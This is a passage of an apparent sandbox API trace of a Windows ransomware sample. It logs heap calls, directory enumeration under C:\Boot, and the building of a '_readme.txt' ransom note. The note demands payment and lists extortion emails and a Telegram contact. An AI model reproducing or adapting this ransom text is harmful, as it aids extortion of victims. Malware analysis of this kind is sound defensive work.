Size=0x20) returned 0x702a18 [0266.323] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.323] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.323] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.323] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.323] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.323] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.323] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.323] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.324] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.324] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.324] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.324] PathFindFileNameW (pszPath="C:\\Boot\\ko-KR\\") returned="ko-KR\\" [0266.324] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076f08 [0266.324] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0266.324] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.324] PathFindFileNameW (pszPath="") returned="" [0266.324] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076f08 [0266.324] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75d10000 [0266.324] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0266.324] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x800) returned 0x31106e0 [0266.325] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0266.325] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x810) returned 0x3109120 [0266.325] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076cb0 [0266.325] FreeLibrary (hLibModule=0x75d10000) returned 1 [0266.325] PathAppendW (in: pszPath="C:\\Boot\\ko-KR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ko-KR\\_readme.txt") returned 1 [0266.325] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.325] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x640000) returned 1 [0266.325] PathFileExistsW (pszPath="C:\\Boot\\ko-KR\\_readme.txt") returned 0 [0266.326] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x7d00) returned 0x31156f0 [0266.326] lstrcpyW (in: lpString1=0x31156f0, lpString2="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" [0266.326] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs", lpString2="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" [0266.326] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x310a230 [0266.326] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\_readme.txt" (normalized: "c:\\boot\\ko-kr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0266.327] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x310a230 | out: hHeap=0x640000) returned 1 [0266.327] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31156f0 | out: hHeap=0x640000) returned 1 [0266.327] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.327] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076c88 [0266.327] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0266.327] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x640000) returned 1 [0266.327] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.327] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0266.327] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0266.327] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0266.328] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.328] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7029f0 | out: hHeap=0x640000) returned 1 [0266.328] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7029f0 [0266.328] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.328] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.328] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.328] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.328] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.328] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.328] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.328] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.328] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.328] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.328] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.328] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.328] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.328] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.328] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.328] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.328] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.328] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.329] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.329] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.329] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.329] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.329] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.329] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.329] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.329] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.329] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.329] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.329] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.329] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.329] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.329] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.329] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.329] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.329] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.329] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.329] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.329] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.329] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.329] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.329] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.329] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.329] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.329] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.329] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.330] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.330] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.330] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.330] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.330] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.330] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.330] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.330] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.330] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.330] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.330] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.330] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.330] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.330] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.330] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.330] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.330] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.330] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.330] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.330] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.330] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.330] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.330] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.330] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.330] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.330] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.330] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.330] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.330] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.331] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.331] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.331] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.331] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.331] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.331] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.331] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.331] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.331] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.331] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.331] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.331] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.331] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.331] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.331] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.331] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.331] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.331] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.331] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.331] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.331] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.331] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.331] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.331] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.331] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.331] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.331] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.331] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.332] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.332] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.332] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.332] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.332] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.332] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.332] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.332] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.332] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.332] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.332] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.332] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.332] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.332] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.332] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.332] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.332] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.332] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.332] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.332] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.332] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.332] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.332] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.332] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.332] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.332] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.332] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.332] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.333] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.333] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.333] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.333] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.333] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x31099a8 [0266.333] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.333] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.333] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.333] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31099a8 [0266.333] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | 